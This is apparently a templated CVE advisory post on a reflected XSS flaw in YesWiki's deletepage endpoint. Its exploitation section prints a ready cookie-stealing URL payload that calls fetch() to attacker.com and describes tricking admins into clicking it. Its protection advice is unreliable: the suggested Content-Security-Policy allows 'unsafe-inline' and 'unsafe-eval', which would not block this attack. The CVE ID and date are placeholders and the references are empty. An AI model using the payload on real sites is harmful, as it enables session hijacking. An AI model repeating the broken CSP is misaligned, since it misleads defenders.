YesWiki, Reflected XSS, CVE-2023-XXXX (Medium)

Listen to this Post

How the CVE Works

This vulnerability in YesWiki (< v4.5.4) allows Reflected Cross-Site Scripting (XSS) via the `incomingurl` parameter in the `/PagePrincipale/deletepage` endpoint. When an admin visits a crafted URL containing a malicious script (e.g., "><script>alert(1)</script>), the payload is reflected in the response without proper sanitization. Since the endpoint fails to encode user-supplied input, JavaScript executes in the victim’s browser. Attackers can exploit this to hijack sessions, steal cookies, or deface pages by tricking admins into clicking malicious links.

DailyCVE Form

Platform: YesWiki
Version: <4.5.4
Vulnerability: Reflected XSS
Severity: Medium
Date: 2023-XX-XX

What Undercode Say:

Exploitation

1. Craft malicious URL:

https://yeswiki.net/?PagePrincipale%2Fdeletepage&incomingurl="><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

2. Social-engineer admin to click link.

3. Capture session cookies via attacker-controlled server.

Protection

1. Update to YesWiki ≥ v4.5.4.

2. Sanitize `incomingurl` input:

$clean_url = htmlspecialchars($_GET['incomingurl'], ENT_QUOTES, 'UTF-8');

3. Implement Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'

4. Use HTTP-only cookies:

Set-Cookie: sessionid=xxx; HttpOnly; Secure

Detection

Scan for XSS using tools:

python3 xsstrike.py -u "https://yeswiki.net/?PagePrincipale/deletepage" --params "incomingurl"

Log Analysis

Check server logs for suspicious `incomingurl` patterns:

grep -E 'incomingurl=.[<>]' /var/log/nginx/access.log

Mitigation

Deploy WAF rules to block XSS payloads:

SecRule ARGS:incomingurl "@contains <script>" "id:1001,deny,status:403"

References

  • YesWiki Changelog: [bash]
  • OWASP XSS Guide: [bash]

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top